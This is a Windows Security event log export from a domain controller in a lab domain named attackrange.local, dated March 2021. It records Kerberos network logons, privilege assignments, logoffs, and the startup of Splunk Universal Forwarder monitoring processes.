SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256228
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D1065
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		51341

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256227
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D1065

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256226
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D101C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256225
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D101C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256224
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D0F0E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51340

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256223
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D0F0E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256222
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x105c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256236
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc64
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256235
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:07:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256237
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:07:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256238
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:07:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256240
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D2E0F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51346

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:07:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256239
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D2E0F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:07:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256241
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D10E7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:07:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256244
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D3F3E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:07:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256243
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D3F3E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51355

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:07:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256242
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D3F3E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:08:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256245
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x460
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256247
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256246
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256249
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256248
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:08:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256250
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
